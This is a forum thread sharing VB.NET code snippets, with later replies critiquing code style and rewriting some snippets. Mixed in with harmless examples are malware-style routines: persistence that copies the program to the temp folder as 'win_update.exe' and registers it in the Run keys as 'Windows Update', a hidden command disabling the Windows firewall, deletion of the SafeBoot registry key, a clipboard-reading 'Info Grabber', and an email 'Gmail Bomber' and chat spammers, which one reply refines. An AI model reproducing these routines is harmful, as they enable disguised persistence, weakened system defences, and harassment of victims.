[shizelkid]

Please note that i didnt make this, it was made by CodeBreaker But still use full.

Useful Source Codes!
Written by CodeBreaker/TheEndGamer


Open a Website:

Code:

Process.Start("www.bumpbox.net") Process.Start("www.myforum.net")

Open something

Code:

Shell("Notepad") Shell("Calculator")

Delete a file

Code:

Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

Kill a process

Code:

Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0) RunningProcess.Kill()

Rename a file

Code:

My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")

Delete a registry key

Code:

My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

Create a registry key

Code:

Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True) regKey.CreateSubKey("MyApp") regKey.Close()

Text To Speech:

Code:

Dim sapi sapi = CreateObject("sapi.spvoice") sapi.Speak(Textbox1.text)

Fade in

Code:

For FadeIn = 0.0 To 1.1 Step 0.1 Me.Opacity = FadeIn Me.Refresh() Threading.Thread.Sleep(100) Next

Fade out:

Code:

For FadeOut = 90 To 10 Step -10 Me.Opacity = FadeOut / 100 Me.Refresh() Threading.Thread.Sleep(50) Next

Gmail Bomber:

Add a Timer, 5 textboxes, button

textbox1 = Gmail Username
textbox2 = Gmail Password
textbox3 = Victim E-mail Address
textbox4 = Subject
textbox5 = Message
button1.text = send!

Add on Top Of "Public Class Form1"

Code:

Imports System.Net.Mail

Double Click Button1 and write:

Code:

timer1.start

then Double click Timer1 and write:

Code:

Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress(TextBox1.Text) MyMailMessage.To.Add(TextBox3.Text) MyMailMessage.Subject = (TextBox4.Text) MyMailMessage.Body = TextBox5.Text Dim SMTPServer As New SmtpClient("smtp.gmail.com") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text) SMTPServer.EnableSsl = True SMTPServer.Send(MyMailMessage) MsgBox("Email Has been sent Successfully ;)")

Info Grabber

Gets OS Name:

Code:

Textbox1.text = My.Computer.Info.OSFullName

Gets OS Version & Build Number:

Code:

Textbox2.text = My.Computer.Info.OSVersion

Gets Total Physical Memory:

Code:

Textbox3.text = My.Computer.Info.TotalPhysicalMemory

Gets Available Physical Memory:

Code:

Textbox4.text = My.Computer.Info.AvailablePhysicalMemory

Gets Clipboard Text:

Code:

Textbox5.text = My.Computer.Clipboard.GetText

Gets Local Time:

Code:

Textbox6.text = My.Computer.Clock.LocalTime

Minimize To Tray

Just Add a Notifyicon

Code:

Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize If Me.WindowState = FormWindowState.Minimized Then Me.Hide() End If End Sub Private Sub NotifyIcon1_MouseClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseClick If Me.WindowState = FormWindowState.Minimized Then Me.Show() Me.WindowState = FormWindowState.Normal End If End Sub

Webbrowser Exampe

Add a Webbrowser
5 buttons
1 combobox

Button1 = Back
Button2 = Forward
Button3 = Refresh
Button4 = Stop
Button5 = Go!

Button1:

Code:

Webbrowser1.goback

Button2:

Code:

webbrowser1.goforward

Button3:

Code:

webbrowser1.refresh

Button4:

Code:

webbrowser1.stop

Button5:

Code:

webbrowser1.navigate(combobox1.text)

Add Music To Your Tool:

First Add your music to Resources
Note: The File Type Of The Music must be .wav

Double Click Button1 (start):

Code:

My.Computer.Audio.Play(My.Resources.song namenowav, AudioPlayMode.BackgroundLoop)

Double Click Button2 (stop)

Code:

My.Computer.Audio.Stop()

Count Files In Folders:

Code:

Dim NOF As Integer Dim FilePath As String = TextBox1.Text NOF = System.IO.Directory.GetFiles(FilePath).Length TextBox2.Text =NOF.ToString

Google Searcher

Add:
Process
Button

Double Click The Button and Write:

Code:

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If TextBox1.Text = "" Then msgbox("WTF :| ? are u searching for nothing o.0 ?) Else Process1.StartInfo.FileName = ("http://www.google.co.uk/search?hl=en&q=" & TextBox1.Text & "&btnG=Search&meta=") Process1.Start() End If End Sub

Case Example

Add:
1 Button
1 Textbox

Double Click the Button and write:

Code:

TextBox1.Text = Int(Rnd() * 4) Select Case TextBox1.Text Case 0 TextBox1.Text = "anything" Case 1 TextBox1.Text = "passgenerator" Case 2 TextBox1.Text = "CD key" Case 3 TextBox1.Text = "strings" End Select

Login Example:

Add:
1 button

Click The Button and write:

Code:

If TextBox1.Text = "CodeBreaker" _ And TextBox2.Text = "TheEndGamer" Then MsgBox("Welcome to Bumpbox.net") Else MsgBox("Euuhh? do i know u :S ?") End If

Xfire Add Friender and status changer (Just an example)

Add:
2 buttons
1 webbrowser
2 textboxes


Button1.text = Change Status
Button2.text = Add Friend

Double Click Button1 and write:

Code:

WebBrowser1.Navigate("xfire:status?text= " & TextBox1.Text)

Double Click Button2 and Write:

Code:

WebBrowser1.Navigate("xfire:add_friend?u ser=" & TextBox2.Text)

Screen Capture:

You Need a large picturebox
button1 = "Shoot"
Button2 = "Save"
Textbox1
Textbox2

Double Click Button1 and write:

Code:

Dim BumpBox As Rectangle Dim screenshot As System.Drawing.Bitmap Dim graph As Graphics BumpBox = Screen.PrimaryScreen.BumpBox screenshot = New System.Drawing.Bitmap(BumpBox.Width, BumpBox.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb) graph = Graphics.FromImage(screenshot) graph.CopyFromScreen(BumpBox.X, BumpBox.Y, 0, 0, BumpBox.Size, CopyPixelOperation.SourceCopy) PictureBox1.Image = screenshot

Double Click Button2 and write:
Dim savefile As New System.IO.StreamWriter("C:\Users\" + TextBox1.Text + "\documents\" + TextBox2.Text + ".jpg")
savefile.Write(PictureBox1.Image)
savefile.Close()
MsgBox("Pictue Saved ", MsgBoxStyle.Exclamation, "Done!")

Add Your Application To Startup

Before Public Class Form1
Add:

Code:

Imports System.IO Imports Microsoft.Win32

Now double click form1 and add the following Code:

Code:

Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try

Picture Viewer:

Add:
1 Button
1 PictureBox

Double Click Button1 and write:

Code:

Try OpenFileDialog1.Title = "Open Picture" OpenFileDialog1.FileName = ".jpg" OpenFileDialog1.Filter = "All Files |*.*" OpenFileDialog1.ShowDialog() PictureBox1.Image = System.Drawing.Image.FromFile(OpenFileDi alog1.FileName) Catch ex As Exception End Try

Chat Spammer

Add:
2 Buttons
1 Timer

Double Click Button1(Start) and write:

Code:

timer1.start

Double Click Button2(Stop) and write:

Code:

timer1.stop

Then... Double Click Timer1 and Write:

Code:

SendKeys.Send(TextBox1.Text) SendKeys.Send("{ENTER}")

HotKeyChat Spammer!

Drag a textbox out there follow up with 2 timer's. Change Timer2 to Enabled = True
Add 2 labels and change label1.text to Start=F1 and label2.text stop=F2 (or whatever key you choose to use).

Double click timer1 and write:

Code:

SendKeys.Send(TextBox1.Text) SendKeys.Send("{ENTER}")

Double click Form1 and write:

Code:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

Double click timer2 :

Code:

Dim starthotkey As Boolean starthotkey = GetAsyncKeyState(Keys.F1) If starthotkey = True Then Timer1.Start() End If Dim stophotkey As Boolean stophotkey = GetAsyncKeyState(Keys.F2) If stophotkey = True Then Timer1.Stop() End If

NOTE: you can change GetAsyncKeyState(Keys.<insert new key here>) Ex. Keys.End)

CD-Rom Prank

Code:

Do Dim oWMP = CreateObject("WMPlayer.OCX.7") Dim colCDROMs = oWMP.cdromCollection If colCDROMs.Count = 1 Then For i = 0 To colCDROMs.Count - 1 colCDROMs.Item(i).Eject() Next ' cdrom End If Loop

Disable Firewall:

Code:

Dim Bumpbox As Process = New Process Dim top As String = "netsh.exe" Bumpbox.StartInfo.Arguments = ("firewall set opmode disable") Bumpbox.StartInfo.FileName = top Bumpbox.StartInfo.UseShellExecute = False Bumpbox.StartInfo.RedirectStandardOutput = True Bumpbox.StartInfo.CreateNoWindow = True Bumpbox.Start() Bumpbox.WaitForExit()

Shutdown Manager:

Shutdown:

Code:

Shell("Shutdown -s")

Restart:

Code:

Shell("Shutdown -r")

LogOff:

Code:

Shell("Shutdown -l")

Thanks For Visiting The Thread!
I Hope u enjoyed it

[cxS]

By headlines:

1. "Open Something" - Don't use shell, the Process class will work just fine still for doing this.

2. "Delete a file"

Code:

If System.IO.File.Exists(FileToDelete) = True Then

You don't need "= True" in there. That's just an extra unnecessary step in evaluating the boolean expression.

3. [color=red]"Kill a process" - This code assumes that there is a process running by the name of taskmgr.exe, at least one, and so if there is no running processes by that name, you'll get an exception for referencing index (0). Secondly, the name, you want to input without the ".exe".

4. "Delete a registry key" - Microsoft.Win32 has functionality to interact with the registry as a note here. In your other Registry "snippet" you are using Microsoft.Win32, while here you are using My.Computer from Microsoft.VisualBasic.

5. "Text To Speech" - SpeechSynthesizer is 100 times better than using old SAPI here. This is more the VB6 way of doing it... And it promotes poor code for how you create the object.

6. "Fade in"

Code:

For FadeIn = 0.0 To 1.1 Step 0.1

Why 1.1? Opacity is from 0.0 to 1.0. I wouldn't do it this way though either.

7. "Fade out" - Same thing as Fade in, you may want to go to 0... Although why start with Integers here and have to divide by 100 each time? In "Fade in" Double was used.

8. "Gmail bomber" - SmtpClient implements the IDisposable interface, and no Dispose() method is being called here... You could also use the Using statement.

9. "Info Grabber" - The Environment class would work here too for a few of these, and I would recommend it as well.

10. "Case Example" - You've got implicit type casting going on in this bit of code, and Rnd() should be replaced with the functionality from the Random class in my opinion. Int() is an old VB6 carry over as well...

11. "Login Example" - Should be noted here that this should not be used for a very secure application.

12. "Xfire Add Friender and status changer (Just an example)" - Could do this with webrequests unless for some reason the elements on the page have to be loaded as well for a visual?

13. "Screen Capture" - Should be disposing of a few resources here...

14. "Add Your Application To Startup" - Not very pretty code here. Bad use of Try Catch. Performance loss is to be mentioned here as a consideration for what the way this code is written.

15. "HotKeyChat Spammer" - GetAsyncKeyState is not being used in a suitable manner here. It is not event based, so the reason for why you need a timer here that calls it consistently is a sign of poor application design.

16. "CD-Rom Prank" - There are better ways to do this as well through P/Invoke Win32 functions. This is the worst way of doing it, and probably something more suited if programming in VB6.

17. "Shutdown Manager" - I'm seeing Shell() again... The Process class from System.Diagnostics should be used instead.

*Note: I skipped over some. This was just a running post of what I seen as I skimmed through some of the examples.

[shizelkid]

Well thank you, again it was just a share. The way it sounds, you know basic well. How about you make one so that way it is easier and better!?

[cxS]

Well thank you, again it was just a share. The way it sounds, you know basic well. How about you make one so that way it is easier and better!?

Make a tutorial? I'm not much of a tutorial writer, mostly because I just don't like writing them.

I can revise the code though.

[shizelkid]

That would be lovely. Thank you.

[cxS]

"Open Something":

Code:

Process.Start("notepad.exe")

Code:

Process.Start("calc.exe")

"Kill A Process":

Code:

Dim procs As Process() = Process.GetProcessesByName("taskmgr") If procs.Length > 0 Then procs(0).Kill() End If

"Text To Speech":

Code:

Private R As New Random() Sub MainMethod() Dim s As New SpeechSynthesizer() AddHandler s.SpeakCompleted, AddressOf SoundFinished Dim voices As ReadOnlyCollection(Of InstalledVoice) = s.GetInstalledVoices() s.SelectVoice(voices(R.Next(0, voices.Count)).VoiceInfo.Name) Dim info As VoiceInfo = s.Voice s.SpeakAsync(String.Format("Hello, my name is {0}. I am an {1}, and if you can tell by my voice I am a {2}. By the way, my ID is {3}.", info.Name.Split(" "c)(1), info.Age, info.Gender, info.Id)) End Sub Private Sub SoundFinished(sender As Object, e As SpeakCompletedEventArgs) DirectCast(sender, SpeechSynthesizer).Dispose() End Sub

Note:
- Imports System.Speech
- Imports System.Collections.ObjectModel
- Imports System.Speech.Synthesis ' Need to add reference manually

"Fade out": *Same thing as Fade in but with Double's.

"Gmail Bomber":

Code:

Using MyMailMessage As New MailMessage(TextBox1.Text, TextBox3.Text) With MyMailMessage .Subject = (TextBox4.Text) .Body = TextBox5.Text End With Using SMTPServer As New SmtpClient("smtp.gmail.com", 587) With SMTPServer .Credentials = New NetworkCredential(TextBox1.Text, TextBox2.Text) .EnableSsl = True .Send(MyMailMessage) End With End Using End Using MsgBox("Email Has been sent Successfully ;)")

"Info Grabber": There's various ways to do this without using My.Computer (and especially if you're using C#, and you don't feel like adding a reference to the Microsoft.VisualBasic dll). There's Win32 API's that can be P/Invoke'd to retrieve the information for some of these.

"Screen Capture": A Bitmap object is disposable. There is a few other minor things that I would change here, but other than that it is good enough.

"HotKeyChat Spammer": A keyboard hook would be much more efficient... And less resource intensive.

"CD-Rom Prank": You can P/Invoke mciGetErrorString and mciSendString to achieve this.

"Shutdown Manager": Same thing...

Code:

Process.Start("shutdown.exe", "-s")

etc...

[BreShiE]

This thread teaches some very bad coding habits, as cxS has already pointed out. For example, he's telling you to use WebBrowsers instead of WebClients. It's a nice thread for the noobies who just Copypasta their code, but for someone who would like to learn, this thread is awful, haha.

[cxS]

This thread teaches some very bad coding habits, as cxS has already pointed out. For example, he's telling you to use WebBrowsers instead of WebClients. It's a nice thread for the noobies who just Copypasta their code, but for someone who would like to learn, this thread is awful, haha.

WebBrowser isn't horrible, even though it uses an old version of IE. The problem is the way people use it. For doing things on the web that don't require the visual. And for people that add a WebBrowser to use it with Visible property set to false, that's even worse.

Why load all the elements and parse them out on a webpage if you don't need to take an HTTP request that far?

[BreShiE]

This thread teaches some very bad coding habits, as cxS has already pointed out. For example, he's telling you to use WebBrowsers instead of WebClients. It's a nice thread for the noobies who just Copypasta their code, but for someone who would like to learn, this thread is awful, haha.

WebBrowser isn't horrible, even though it uses an old version of IE. The problem is the way people use it. For doing things on the web that don't require the visual. And for people that add a WebBrowser to use it with Visible property set to false, that's even worse.

Why load all the elements and parse them out on a webpage if you don't need to take an HTTP request that far?

Well, yeah that's what I meant. If you need a GUI to go along with what you're doing, then it's fine, but if you only need 1 certain string from the request, then use WebRequests. There's no point loading a whole control when you're not going to use it for its purpose. It's a waste of resources and time.